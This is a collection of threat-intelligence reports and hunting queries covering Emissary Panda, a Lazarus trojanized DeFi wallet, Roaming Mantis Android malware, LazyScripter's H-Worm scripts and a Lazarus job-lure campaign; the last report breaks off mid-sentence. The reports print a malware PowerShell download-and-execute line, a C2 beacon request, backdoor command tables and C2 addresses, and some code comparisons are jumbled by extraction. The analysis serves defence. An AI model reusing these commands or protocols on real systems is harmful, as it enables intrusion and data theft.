// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 let IPs = pack_array("87.98.190.184", "34.90.207.23", "103.79.77.200", "104.168.236.46", "193.203.203.26", "103.79.78.48", "35.187.148.253", "107.148.131.210", "45.77.250.141", "74.119.194.153"); let C2s = pack_array("dataanalyticsclub.com", "image.dataanalyticsclub.com", "fonts.dataanalyticsclub.com", "avatars.dataanalyticsclub.com"); DeviceNetworkEvents | where RemoteIP in(IPs) or RemoteUrl in (C2s) // description: Detects commands used by Emissary Panda // notes: might be prone to false positives // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Marko Dorfhuber // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceProcessEvents | where InitiatingProcessCommandLine == @"cmd.exe /A" // description: Detects event that loads the malicious DLL of Emissary Panda based on name // notes: might be prone to false positives // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Moritz Oettle // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceImageLoadEvents | where ActionType == "ImageLoaded" and FileName contains "VFTRACE.DLL" HvS-Consulting AG 2022 Page 37 of 38 Lazarus Trojanized DeFi app for delivering malware securelist.com/lazarus-trojanized-defi-app/106195 Authors GReAT For the Lazarus threat actor, financial gain is one of the prime motivations, with a particular emphasis on the cryptocurrency business. As the price of cryptocurrency surges, and the popularity of non-fungible token (NFT) and decentralized finance (DeFi) businesses continues to swell, the Lazarus group s targeting of the financial industry keeps evolving. We recently discovered a Trojanized DeFi application that was compiled in November 2021. This application contains a legitimate program called DeFi Wallet that saves and manages a cryptocurrency wallet, but also implants a malicious file when executed. This malware is a fullfeatured backdoor containing sufficient capabilities to control the compromised victim. After looking into the functionalities of this backdoor, we discovered numerous overlaps with other tools used by the Lazarus group. The malware operator exclusively used compromised web servers located in South Korea for this attack. To take over the servers, we worked closely with the KrCERT and, as a result of this effort, we had an opportunity to investigate a Lazarus group C2 server. The threat actor configured this infrastructure with servers set up as multiple stages. The first stage is the source for the backdoor while the goal of the second stage servers is to communicate with the implants. This is a common scheme used in Lazarus infrastructure. Background In the middle of December 2021, we noticed a suspicious file uploaded to VirusTotal. At first glance, it looked like a legitimate application related to decentralized finance (DeFi); however, looking closer we found it initiating an infection scheme. When executed, the app drops both a malicious file and an installer for a legitimate application, launching the malware with the created Trojanized installer path. Then, the spawned malware overwrites the legitimate application with the Trojanized application. Through this process, the Trojanized application gets removed from the disk, allowing it to cover its tracks. Infection timeline Initial infection While it s still unclear how the threat actor tricked the victim into executing the Trojanized application (0b9f4612cdfe763b3d8c8a956157474a), we suspect they sent a spear-phishing email or contacted the victim through social media. The hitherto unknown infection procedure starts with the Trojanized application. This installation package is disguised as a DeFi Wallet program containing a legitimate binary repackaged with the installer. Upon execution, it acquires the next stage malware path (C:\ProgramData\Microsoft\GoogleChrome.exe) and decrypts it with a one-byte XOR (Key: 0x5D). In the process of creating this next malware stage, the installer writes the first eight bytes including the header to the file GoogleChrome.exe and pushes the remaining 71,164 bytes from the data section of the Trojanized application. Next, the malware loads the resource CITRIX_MEETINGS from its body and saves it to the path C:\ProgramData\Microsoft\CM202025.exe. The resulting file is a legitimate DeFi Wallet application. Eventually, it executes the previously created malware with its file name as a parameter: C:\ProgramData\Microsoft\GoogleChrome.exe [current file name] Malware creation diagram Backdoor creation The malware (d65509f10b432f9bbeacfc39a3506e23) generated by the above Trojanized application is disguised as a benign instance of the Google Chrome browser. Upon launch, the malware checks if it was provided with one argument before attempting to copy the legitimate application C:\ProgramData\Microsoft\CM202025.exe to the path given as the command line parameter, which means overwriting the original Trojanized installer, almost certainly in an attempt to conceal its prior existence. Next, the malware executes the legitimate file to deceive the victim by showing its benign installation process. When the user executes the newly installed program, it shows the DeFi Wallet software built with the public source code[1]. Screenshot of the manipulated application Next, the malware starts initializing the configuration information. The configuration shows the structure shown in the table below, consisting of flags, C2 server addresses, victim identification value, and time value. As the structure suggests, this malware can hold up to five C2 addresses, but only three C2 servers are included in this case. Offset Length(bytes) Description 0x00 Flag for starting C2 operation 0x04 Random value to select C2 server 0x08 Random value for victim identifier 0x0C 0x208 C2 server address 0x214 0x208 C2 server address 0x41C 0x208 C2 server address 0x624 0x208 C2 server address 0x82C 0x208 C2 server address 0xA34 0x464 Buffer for system information 0xE98 0x400 Full cmd.exe path 0x1298 0x400 Temporary folder path 0x1698 Time to start backdoor operation 0x16A0 Time interval 0x16A4 Flag for gathering logical drives 0x16A8 Flag for enumerating session information 0x16B0 The time value for gathering logical drive and session information The malware randomly chooses a C2 server address and sends a beacon signal to it. This signal is a hard-coded 0x60D49D94 DWORD without encryption; the response data returned from the C2 carries the same value. If the expected value from the C2 server is received, the malware starts its backdoor operation. Following further communication with the C2, the malware encrypts data by a predefined method. The encryption is done via RC4 and the hard-coded key 0xD5A3 before additionally being encoded with base64. The malware generates POST parameters with hard-coded names. The request type (msgID), victim identification value, and a randomly generated value are merged into the jsessid parameter. It also uses the cookie parameter to store four randomly generated four-byte values. These values are again encrypted with RC4 and additionally base64 encoded. Based on our investigation of the C2 script, we observed this malware not only uses a parameter named jsessid , but also jcookie as well. Structure of jsessid parameter The following HTTP request shows the malware attempting to connect to the C2 with the request type 60d49d98 and a randomly generated cookie value. POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache jsessid=60d49d980163be8f00019f91&cookie=29f23f917ab01aa8lJ3UYA==2517757b7dfb47f1 Depending on the response from the C2, the malware performs its instructed backdoor task. It carries various functionalities to gather system information and control the victim machine. Command Description 0x60D49D97 Set time configuration with the current time interval (default is 10) value 0x60D49D9F Set time configuration with delivered data from C2 server 0x60D49DA0 Gather system information, such as IP address, computer name, OS version, CPU architecture 0x60D49DA1 Collect drive information including type and free size 0x60D49DA2 Enumerate files (with file name, size, time) 0x60D49DA3 Enumerate processes 0x60D49DA4 Terminate process 0x60D49DA5 Change working directory 0x60D49DA6 Connect to a given IP address 0x60D49DA7 File timestamping 0x60D49DA8 Execute Windows command 0x60D49DA9 Securely delete a file 0x60D49DAA Spawn process with CreateProcessW API 0x60D49DAB Spawn process with CreateProcessAsUserW API 0x60D49DAC Spawn process with high integrity level 0x60D49DAD Download file from C2 server and save to given file path 0x60D49DAE Send file creation time and contents 0x60D49DAF Add files to .cab file and send it to the C2 server 0x60D49DB0 Collect a list of files at the given path 0x60D49DB1 Send the configuration to the C2 server 0x60D49DB2 Receive new configuration from the C2 server 0x60D49DB3 Set config to the current time 0x60D49DB4 Sleep 0.1 seconds and continue Infrastructure Lazarus only used compromised web servers located in South Korea in this campaign. As a result of working closely with the KrCERT in taking down some of them, we had a chance to look into the corresponding C2 script from one of the compromised servers. The script described in this section was discovered in the following path: http://bn-cosmo[.]com/customer/board_replay[.]asp The script is a VBScript.Encode ASP file, commonly used by the Lazarus group in their C2 scripts. After decoding, it shows the string 60d49d95 as an error response code, whereas the string 60d49d94 is used as a success message. In addition, the connection history is saved to the file stlogo.jpg and the C2 address for the next stage is stored in the file globals.jpg located in the same folder. Configuration of C2 script This script checks what value is delivered in the jcookie parameter and, if it s longer than 24 characters, it extracts the first eight characters as msgID. Depending on the msgID value, it calls different functions. The backdoor command and command execution result delivered by the backdoor get stored to global variables. We have seen this scheme in operation before with the Bookcode[2] cluster. This script uses the following variables as flags and buffers to deliver data and commands between the backdoor and a second stage C2 server: lFlag: flag to signal that there is data to deliver to the backdoor lBuffer: buffer to store data to be later sent to the backdoor tFlag: flag to signal that there is a response from the backdoor tBuffer: buffer to store incoming data from the backdoor msgID Function name Description 60d49d98 TFConnect Save the value (victim identifier) to the log file, send jcookie value with the client s IP address after acquiring the next stage C2 address from the config file (globals.jpg). Forward the response from the next stage server to the client. 60d49d99 TConnect Deliver the command to the backdoor: If the lFlag is true , send lBuffer to the client. Reset lBuffer and set lFlag to false . Otherwise, reset tBuffer and set tFlag to false 60d49d9a LConnect Send the command and return the command execution result: Set lBuffer value to jcookie parameter, delivering tBuffer to the client. 60d49d9c Check Retrieve host information (computer name, OS version). Delete the configuration file, which saves the C2 s next stage address, if it exists. Then save the new configuration with delivered data through the jcookie parameter. 60d49d9d LogDown Deliver log file after base64 encoding and then delete it. the others Write connections with unknown/unexpected msgID (request type) data to a log file, entries are tagged with xxxxxxxx Attribution We believe with high confidence that the Lazarus group is linked to this malware as we identified similar malware in the CookieTime cluster. The CookieTime cluster, called LCPDot by JPCERT, was a malware cluster that was heavily used by the Lazarus group until recently. We seen Lazarus group target the defence industry using the CookieTime cluster with a job opportunity decoy. We have already published several reports about this cluster to our Threat Intelligence Service customers, and we identified a Trojanized Citrix application (5b831eaed711d5c4bc19d7e75fcaf46e) with the same code signature as the CookieTime malware. The backdoor discovered in the latest investigation, and the previously discovered Trojanized application, are almost identical. They share, among other things, the same C2 communication method, backdoor functionalities, random number generation routine and the same method to encrypt communication data. Also, this malware was mentioned in an article by Ahnlab discussing connections with the CookieTime (aka LCPDot) malware. Same backdoor switch of old CookieTime malware In turn, we identified that the CookieTime cluster has ties with the Manuscrypt and ThreatNeedle clusters, which are also attributed to the Lazarus group. This doesn t only apply to the backdoor itself, but also to the C2 scripts, which show several overlaps with the ThreatNeedle cluster. We discovered almost all function and variable names, which means the operators recycled the code base and generated corresponding C2 scripts for the malware. ThreatNeedle C2 script from roit.co[.]kr/xyz/adminer/edit_fail_decoded.asp C2 script of this case functIon getIpAddress() fUnctioN GetIpAddress() On ErroR resume next ON Error Resume Next Dim ip Dim iP ip=Request.SErVervariables("HTTP_CLIENT_IP") ip=ReqUest.ServerVaRiables("HTTP_CLIENT_IP") If ip=""THen If ip=""THEn Ip=ReQUest.ServervaRiAbLes("HTTP_X_FORWARDED_FOR") iP=Request.SErverVariaBleS("HTTP_X_FORWARDED_FOR") If ip=""ThEn If ip=""then ip=request.ServerVaRiables("REMOTE_ADDR") ip=reQuest.ServErVariables("REMOTE_ADDR") End If EnD IF End if EnD If GEtIpAdDress=ip GEtipAddreSs=ip End FuNction End FUnction Almost identical scripts to fetch IP address of client ThreatNeedle C2 script from: edujikim[.]com/pay_sample/INIstart.asp C2 script of this case Sub writeDataToFile(strFileName, byData) Sub WritedatA(filepath,byData) Dim objFSO, objFile, strFilePath dim objFSO,oBJFile Const ForAppending = 8 ConSt ForAppEnDing=8 strFilePath = Server.MapPath(".") & "\" & strFileName objFsO=CreateObject("Scripting.FileSystemObject") Set objFSO = CreateObject("Scripting.FileSystemObject") objFIle=objFso.OpENTextFile(filepaTh,FoRAppending,True) Set objFile = objFilE.Write ByDatA objFSO.OpenTextFile(strFilePath, objFIle.CLose ForAppending, True) EnD Sub objFile.Write byData objFile.Close End Sub Similar scripts to save data to a file Conclusions In a previous investigation we discovered that the BlueNoroff group, which is also linked to Lazarus, compromised another DeFi wallet program called MetaMask. As we can see in the latest case, the Lazarus and BlueNoroff groups attempt to deliver their malware without drawing attention to it and have evolved sophisticated methods to lure their victims. The cryptocurrency and blockchain-based industry continues to grow and attract high levels of investment. For this reason, we strongly believe Lazarus s interest in this industry as a major source of financial gain will not diminish any time soon. Indicators of Compromise Trojanized DeFi application 0b9f4612cdfe763b3d8c8a956157474a DeFi-App.exe Dropped backdoor d65509f10b432f9bbeacfc39a3506e23 %ProgramData%\Microsoft\GoogleChrome.exe Similar backdoor a4873ef95e6d76856aa9a43d56f639a4 d35a9babbd9589694deb4e87db222606 70bcafbb1939e45b841e68576a320603 3f4cf1a8a16e48a866aebd5697ec107b b7092df99ece1cdb458259e0408983c7 8e302b5747ff1dcad301c136e9acb4b0 d90d267f81f108a89ad728b7ece38e70 47b73a47e26ba18f0dba217cb47c1e16 77ff51bfce3f018821e343c04c698c0e First stage C2 servers (Legitimate, compromised) hxxp://emsystec[.]com/include/inc[.]asp hxxp://www[.]gyro3d[.]com/common/faq[.]asp hxxp://www[.]newbusantour[.]co[.]kr/gallery/left[.]asp hxxp://ilovesvc[.]com/HomePage1/Inquiry/privacy[.]asp hxxp://www[.]syadplus[.]com/search/search_00[.]asp hxxp://bn-cosmo[.]com/customer/board_replay[.]asp Second stage C2 servers (Legitimate, compromised) hxxp://softapp[.]co[.]kr/sub/cscenter/privacy[.]asp hxxp://gyro3d[.]com/mypage/faq[.]asp MITRE ATT&CK Mapping This table contains all the TTPs identified in the analysis of the activity described in this report. Tactic Technique Technique Name Execution T1204.002 User Execution: Malicious File Use Trojanized application to drop malicious backdoor Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Register dropped backdoor to the Run registry key Defense Evasion T1070.004 Indicator Removal on Host: File Deletion The Trojanized application overwrites itself after creating a legitimate application to remove its trace T1070.006 Indicator Removal on Host: Timestomp Backdoor capable of timestomping specific files T1057 Process Discovery List running processes with backdoor T1082 System Information Discovery Gather IP address, computer name, OS version, and CPU architecture with backdoor T1083 File and Directory Discovery List files in some directories with backdoor T1124 System Time Discovery Gather system information with backdoor T1071.001 Application Layer Protocol: Web Protocols Use HTTP as C2 channel with backdoor T1573.001 Encrypted Channel: Symmetric Cryptography Use RC4 encryption and base64 with backdoor T1041 Exfiltration Over C2 Channel Exfiltrates gathered data over C2 channels with backdoor Discovery Command and Control Exfiltration [1] https://github.com/DeFiCh/app APT Intel report: Lazarus Covet Covid19 Related Intelligence Lazarus Trojanized DeFi app for delivering malware Roaming Mantis reaches Europe securelist.com/roaming-mantis-reaches-europe/105596 Authors Suguru Ishimaru Part VI. 2021 sees smishing and modified Wroba.g/Wroba.o extend attacks to Germany and France Roaming Mantis is a malicious campaign that targets Android devices and spreads mobile malware via smishing. We have been tracking Roaming Mantis since 2018, and published five blog posts about this campaign: s been a while since the last blog post, but we ve observed some new activities by Roaming Mantis in 2021, and some changes in the Android Trojan Wroba.g (or Wroba.o, a.k.a Moqhao, XLoader) that s mainly used in this campaign. Furthermore, we discovered that France and Germany were added as primary targets of Roaming Mantis, in addition to Japan, Taiwan and Korea. Geography of Roaming Mantis victims Our latest research into Roaming Mantis shows that the actor is focusing on expanding infection via smishing to users in Europe. The campaign in France and Germany was so active that it came to the attention of the German police and French media. They alerted users about smishing messages and the compromised websites used as landing pages. Smishing alerts on German and French websites Typically, the smishing messages contain a very short description and a URL to a landing page. If a user clicks on the link and opens the landing page, there are two scenarios: iOS users are redirected to a phishing page imitating the official Apple website, while the Wroba malware is downloaded on Android devices. Link from smishing message redirects to Wroba or phishing page Based on the telemetry we gathered between July 2021 and January 2022, Wroba.g and Wroba.o have been detected in many regions. The most affected countries were France, Japan, India, China, Germany and Korea. Territories affected by Trojan-Dropper.AndroidOS.Wroba.g and TrojanDropper.AndroidOS.Wroba.o (download) d also like to point out some very interesting data on Roaming Mantis landing page statistics published on Internet Week 2021 and Github by @ninoseki, an independent security expert based in Japan. The data shows the number of downloaded APK files, landing page domains, and IP addresses located in the seven regions targeted most by Roaming Mantis using Wroba.g/Wroba.o on a particular day in September 2021. The number of downloaded APK files and IPs/domains of landing pages The following table is a ranking based on the number of APK file downloads. The most affected country is France, followed by Japan, Germany and others. Some targeted regions seem to overlap with our telemetry mentioned above. Region Number of Impersonated brand domains downloads France 1,246 66,789 Google Chrome Japan 22,254 Yamato transport Germany 2,681 Google Chrome Korea 2,564 ePOST United States Google Chrome Taiwan (Yamato transport in Chinese) Turkey Google Chrome Anti-researcher tricks in the landing page Throughout 2020 and 2021, the criminal group behind Roaming Mantis made use of various obfuscation techniques in the landing page script in order to evade detection. Variety of obfuscation techniques in the landing page script In addition to obfuscation, the landing page blocks the connection from the source IP address in non-targeted regions and shows just a fake page for these connections. The user agent checking feature has not been changed in the landing page since 2019; it evaluates the devices by user agent, redirecting to the phishing page if the device is iOSbased, or delivering the malicious APK file if the device is Android-based. Technical analysis: loader module of Wroba.g/Wroba.o We performed in-depth analysis of Wroba.g/Wroba.o samples and observed several modifications in the loader module and payload, using kuronekoyamato.apk as an example. First, the actor changed the programming language from Java to Kotlin, a programming language designed to interoperate fully with Java. Then, the actor removed the multidex obfuscation trick. Instead of this, the data structure of the embedded payload (\assets\rmocpdx\15k7a5q) was also modified as follows: Modified data structure of embedded payload The first eight bytes of the data are junk code (gray), followed by the size of payload (orange), a single-byte XOR key (red), the encrypted payload (green) and more junk code (gray). Furthermore, an ELF file, \lib\armeaib-v7a\libdf.so, was embedded in the APK file: it uses Java Native Interface (JNI) for the second stage payload, for decryption and also part of the loading feature. The decryption process and algorithms are just three steps as follows: Various obfuscation techniques in the landing page script First, the loader function takes each section of data from the embedded data, except the junk data. Then, the encrypted payload is XORed using the embedded XOR key. After the XOR operation, as with previous samples, the data is decompressed using zlib to extract the payload, a Dalvik Executable (DEX) file. The following simple Python script helps to extract the payload: #!/usr/bin/env python3 import sys import zlib import base64 data = open(sys.argv[1], "rb").read() key = data[11] size = data[10] | data[9] << 8 | data[8] << 16 enc = data[12:12+size] dec_x = bytes(enc[i] ^ key for i in range(len(enc))) dec_z = zlib.decompress(dec_x) with open(sys.argv[1]+".dec","wb") as fp: fp.write(dec_z) In this sample, the decrypted payload is saved as \data\data\ggk.onulfc.jb.utxdtt.bk\files\d and executed to infect the malicious main module on victim devices. Technical analysis: payload of Wroba.g/Wroba.o Regarding the updates to the Wroba.g/Wroba.o payload, Kaspersky experts only observed two minor updates in the payload part. One of them is the feature for checking the region of the infected device in order to display a phishing page in the corresponding language. In the old sample, it checked for three regions: Hong Kong, Taiwan and Japan. However, Germany and France were added as new regions. From this update, together with the map above, it is clear that Germany and France have become the main targets of Roaming Mantis with Wroba.g/Wroba.o. Another modification is in the backdoor commands. The developer added two backdoor commands, get_photo and get_gallery , as well as removing the command show_fs_float_window . Overall, there are 21 embedded backdoor commands. List of embedded backdoor commands with the two new commands get_gallery and get_photo These new backdoor commands are added to steal galleries and photos from infected devices. This suggests the criminals have two aims in mind. One possible scenario is that the criminals steal details from such things as driver s licenses, health insurance cards or bank cards, to sign up for contracts with QR code payment services or mobile payment services. The criminals are also able to use stolen photos to get money in other ways, such as blackmail or sextortion. The other functions of the payload are unchanged. For more details, please see our previous blogposts mentioned above. Conclusion It has been almost four years since Kaspersky first observed the Roaming Mantis campaign. Since then, the criminal group has continued its attack activities by using various malware families such as HEUR:Trojan-Dropper.AndroidOS.Wroba, and various attack methods such as phishing, mining, smishing and DNS poisoning. In addition, the group has now expanded its geography, adding two European countries to its main target regions. We predict these attacks will continue in 2022 because of the strong financial motivation. MD5 hashes of Wroba.o 527b5eebb6dbd3d0b777c714e707659c 19c4be7d5d8bf759771f35dec45f267a 2942ca2996a80ab807be08e7120c2556 4fbc28088b9bf82dcb3bf42fe1fc1f6d 0aaf6aa859fbdb84de20bf4bf28a02f1 5bafe0e5a96b1a0db291cf9d57aab0bc ddd131d7f0918ece86cc7a68cbacb37d Roaming Mantis reaches Europe Very very lazy Lazyscripter s scripts: double compromise in a single obfuscation lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation _thespis In July of 2021, we identified an infection campaign targeting important European entities. During this investigation we could identify the threat actor behind these attacks as LazyScripter, an emerging APT group pointed by MalwareBytes in February 2021. Through our analysis, we could track their activity with precise dates in 2021 based on their samples. Furthermore, we could extend the intelligence upon this threat actor by identifying a new malware among their TTPs, and also find new elements of the infrastructure. Additionally, after the analysis of the samples, we discovered the usage of a free and popular online obfuscating tool for scripts, which would inject their own downloader for a njRAT sample within LazyScripter s malware. Meaning that, if some entity happened to be compromised by a one of these samples of LazyScripter, they would probably be compromised by two different threat actors. For this campaign, the malicious actor used phishing emails as the initial vector, pretending to be relevant international entities such as the United Nations World Tourism Organization (UNWTO or the International Air Transport Association (IATA). In the malicious emails, the actor would usually attach three compressed files: a pdf document, and two JavaScript files. 1/14 PDF document from spear phishing After the analysis of the first pdf document that ended up in our hands ( JOB NOTICE.pdf UNWTO) we did not observed embedded code, or any malicious behavior. However, metadata revealed that it had been edited with a PDF editor referred to as Foxit on July 13th 2021, less than a month before we identified this campaign. Producer: Foxit PhantomPDF Printer Version 9.6.0.1818 CreationDate: Tue Nov 10 08:30:41 2020 CET ModDate: Tue Jul 13 22:17:50 2021 CEST The only technical element of real interest found in this document was the hyperlink in which the user is suggested to click in order to obtain more information about the fake job offer at UNWTO. 2/14 This link will open a browser and contact the domain securessl.]fit which was registered on July 17th 2021 and resolves in the address 192.64.]119.125, associated with the provider/webhosting Namecheap. It has been observed that the final URL shows up as follows, after a redirection by an HTTP 302 response from the server, not serving any file at the moment of the analysis, but suggesting it was supposed to serve a .zip file (though, we did not discard IP geofence): Final HTTP response via hyperklink from PDF doc After the analysis of the HTTP traffic flow with this domain, the redirection is observed to be hidden behind a domain which belongs to the duckdns service for dynamic domains resolutions: Middle/Transitional HTTP request from PDF This domain resolves in the IP address 66.29.]130.204. Even so, the redirection through this address uses TLS encryption, so it is not possible to know what has occurred during the communication until the final redirection, which ends with the previously shown HTTP 404 response code. Nevertheless, it has been indeed observed how that same IP address is associated to the server1 hostname in the domain gowaymevps.]xyz (registered on May 12th 2021). 3/14 Final HTTP request from PDF Traffic capture for the PDF hyperlink The other two files found along with this PDF at its arrival via phishing email have the exact same content (even same hash) in spite of having a different name: LIST OF AVAILABLE JOBS.js SALARY AND HIRING CONDITIONS.js This highly obfuscated JavaScript has the only purpose of dropping a second VBS script, which will be placed in the following paths: C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tk.vbs C:\Users\*\AppData\Roaming\tk.vbs For those samples where the VBS script was not dropped in the startup folder, the following persistence mechanism would be established using the registry keys: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\tk Details: wscript.exe //B C:\Users\Lucas\AppData\Roaming\tk.vbs HKU\*\Software\Microsoft\Windows\CurrentVersion\Run\tk1 Details: wscript.exe //B C:\Users\Lucas\AppData\Roaming\tk.vbs 4/14 And here is where the real fun begins. In the initial behavior analysis of these next stage VBS samples, we observed C2 contact through HTTP POST requests to the port 449 of the IP address 45.91.92.112 resolved from stub.]ignorelist.]com. At this point we could find an attribution according to different reports, since the domain stub.]ignorelist.]com had been used by the group referred as LazyScripter in their previous campaign. The HTTP request is made using the path /is-ready in the URI and it includes initial information about the infected system within the User-Agent header value: VBS sample HTTP request Furthermore, we also observed that the vbs script also dropped to disk the following .lnk file: C:\Users\Lucas\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windowsUpdate.lnk This direct access points at the following Powershell execution: $NQJLOJWQ=(Get-ItemProperty HKCU:\Software).Sat; $WASUXIQO=(Get-ItemProperty HKCU:\Software).Dat; $NILSHSEJ=(Get-ItemProperty HKCU:\Software).Gat; $MYG The values of the registry keys which this command refers to contain this series of Powershell commands: [System.Net.WebClient]$webClient = New-Object System.Net.WebClient; [System.IO.Stream]$stream = $webClient.OpenRead( http://185. 81.157.186/NDA/199.png [System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream; [string]$results = $sr.ReadToEnd(); IEX $results Registry Keys set by VBS sample 5/14 Our first impression was a little bit of a surprise since we just observed the sample establishing a second persistence in the same startup folder for an artifact (the lnk file) that would use a different C2. After deobfuscating the VBS script we could identify the malware sample as Houdini s HWorm, but preceded by an interesting line, still slightly obfuscated. This single line was responsible for this second kind of parallel behavior (new persistence using the lnk file and a different C2). While the first mentioned IP addresses and domains or the infection chain were not easily linked to malicious activity through OSINT, this last one was quickly tagged as malicious everywhere. OSINT results for suspicious IP address Now it started to get even more interesting as we also discovered that, even though no domain points at this IP address at this time, it used to resolve from the hackfree.]org domain, which belongs to top 1 million, and seems to be some web service for offensive operations/techniques: 6/14 DNS resolutions on suspicious IP address Google results for hackfree.]org Since this finding could be a little confusing as it was for us, let s go back to the dropped VBS script. This script will be the one which implements the RAT identified as H-worm after a complex nested obfuscation, prepended with a confusing extra line. 7/14 Part of such obfuscation implied the creation of a new script object which will execute the deobfuscate code. For this purpose, the first part of the logic consists in identifying the architecture of the infected system, and then creating nested ScriptControl objects, where the code which implements the totality of H-worm will be added. Such code is read from an array which must be necessarily located in the last line of the file, commented, and which contains a total of 16.153 obfuscated elements. Content of VBS sample (tk.vbs) 8/14 tk.vbs deobfuscated Now, we could know that this VBS script acted as some sort of loader for the final stage artifact, which was fully implemented in the aforementioned last line, supposed to be a commented line in VBS. In order to compare the different samples that we gathered, we implemented an automatic deobfuscator to straightly obtain the deobfuscated code implemented in the commented line and we always found this first line prepended before the H-worm code. Final VBS payload (H-Worm) 9/14 Before analyzing this extra suspicious code, which we could corroborate it was not part of the known source code for H-Worm, the obvious thought was that these lines were added by the LazyScripter criminals and that they were placing dates in the script for their own reasons. However, it still seemed weird that they would reward the threat/forensic analysts with a precise date for each sample. After the analysis of the snippets, we observed that the samples would compare the current date with the hardcoded date, and if the hardcoded day arrived or passed, it would execute a specific function appended at the end of H-Worm s code. This function would only drop the previously described .lnk file and set the mentioned registry key values so as to download a sample of njRAT. Even though the author of H-Worm, known as Houdini had been connected to the development of njRAT, we knew this wasn t part of the known implementation for H-Worm, and still looked odd as a TTP from the same infection campaign. Trying to make sense out of it, we had the brainwave of using the information we had about this parallel behavior and make a quick check: We previously found out that they might have been using hackfree.]org as an online obfuscation service for VBS script, so we created our own dummy VBS script and submitted it to hackfree for obfuscation. Then we applied our implemented deobfuscator. Implemented dummy VBS script 10/14 Dummy VBS script obfuscated via hackfree website Deobfuscation of obfuscated dummy VBS script 11/14 At this point, we discovered that hackfree].org was injecting their own malware in every obfuscated script via their website, and this would lead in a double infection for malware obfuscated with hackfree.]org, or a first sneaky infection for those scripts that were obfuscated for legitimate purposes. At this last scenario we could confirm that hackfree.]org would be a waterhole attack. Finally, back to the tracked threat actor, we could distinguish between LazyScripter indicators of compromise, and HackFree s IOCs, resulting in the following diagram for this LazyScripter campaign main infrastructure and infection chain. LazyScripter s H-Worm campaign s main infrastructure IOCs 12/14 0fc8d0c3b6ab22533153b7296e597312fc8cf02e2ea92de226d93c09eaf8e579 SHA256 77afef33c249d4d7bb076079eff1cca2aef272c84720e7f258435728be3bf049 SHA256 82f6c8b52103272fcfb27ac71bd4bff76ee970dd16e5cdf3d0cfb75d10aa0609 SHA256 5803ded992498b5bd5045095ca1eab33be8a4f9d785fdfc8b231127edf049e72 SHA256 f5359df2aaa02fbfae540934f3e8f8a2ab362f7ee92dda536846afb67cea1b02 SHA256 c685897eb3f32ced2b6e404e424ca01d0bc8c88b83da067fbef7e7fe889cffad SHA256 23ea10f4b1a73a4e8b13466fff8983110216779d2d3cefe1fc151c6bb65c3b42 SHA256 45.91.92.112:449 185.81.157.186 192.64.119.125 157.245.250.76 66.29.130.204 147.182.192.241 103.73.64.115 http://185.81.]157.186/NDA/199.png http://157.245.]250.76/MORE%20INFORMATION%20ON%20OFFERS.zip stub.]ignorelist.com C2 Domain securessl.]fit C2 Domain gowaymevps.]xyz C2 Domain milla.publicvm.]com C2 Domain internetexploraldon.]sytes.net C2 Domain jbizgsvhzj22evqon9ezz8bmbupp1s6cprmriam1.duckdns.]org C2 Domain saqicpcgflrlgxgoxxzkbfrjuisbkozeqrmthrzo.duckdns.]org C2 Domain u1153246fov.ha004.t.justns.]ru C2 Domain HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\tk Reg Key HKU*\Software\Microsoft\Windows\CurrentVersion\Run\tk Reg Key 13/14 C:\Users\Lucas\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windowsUpdate.lnk File persistence Customers with Lab52 s APT intelligence private feed service already have more tools and means of detection for this campaign. In case of having threat hunting service or being client of S2Grupo CERT, this intelligence has already been applied. If you need more information about Lab52 s private APT intelligence feed service, you can contact us through the following link 14/14 North Korea s Lazarus APT leverages Windows Update client, GitHub in latest campaign blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latestcampaign Threat Intelligence Team January 27, 2022 This blog was authored by Ankur Saini and Hossein Jazi Lazarus Group is one of the most sophisticated North Korean APTs that has been active since 2009. The group is responsible for many high profile attacks in the past and has gained worldwide attention. The Malwarebytes Threat Intelligence team is actively monitoring its activities and was able to spot a new campaign on Jan 18th 2022. In this campaign, Lazarus conducted spear phishing attacks weaponized with malicious documents that use their known job opportunities theme. We identified two decoy documents masquerading as American global security and aerospace giant Lockheed Martin. In this blog post, we provide technical analysis of this latest attack including a clever use of Windows Update to execute the malicious payload and GitHub as a command and control server. We have reported the rogue GitHub account for harmful content. Analysis The two macro-embedded documents seem to be luring the targets about new job opportunities at Lockheed Martin: Lockheed_Martin_JobOpportunities.docx Salary_Lockheed_Martin_job_opportunities_confidential.doc 1/16 The compilation time for both of these documents is 2020-04-24, but we have enough indicators that confirm that they have been used in a campaign around late December 2021 and early 2022. Some of the indicators that shows this attack operated recently are the domains used by the threat actor. Both of the documents use the same attack theme and have some common things like embedded macros but the full attack chain seems to be totally different. The analysis provided in the blog is mainly based on the Lockheed_Martin_JobOpportunities.docx document but we also provide brief analysis for the second document (Salary_Lockheed_Martin_job_opportunities_confidential.doc) at the end of this blog. Figure 1: Document Preview Attack Process The below image shows the full attack process which we will discuss in detail in this article. The attack starts by executing the malicious macros that are embedded in the Word document. The malware performs a series of injections and achieves startup persistence in the target system. In the next section we will provide technical details about various stages of this attack and its payload capabilities. 2/16 Figure 2: Attack Process Macros: Control flow hijacking through KernelCallbackTable Figure 3: Macros Snippet 3/16 The above code uses a very unusual and lesser known technique to hijack the control flow 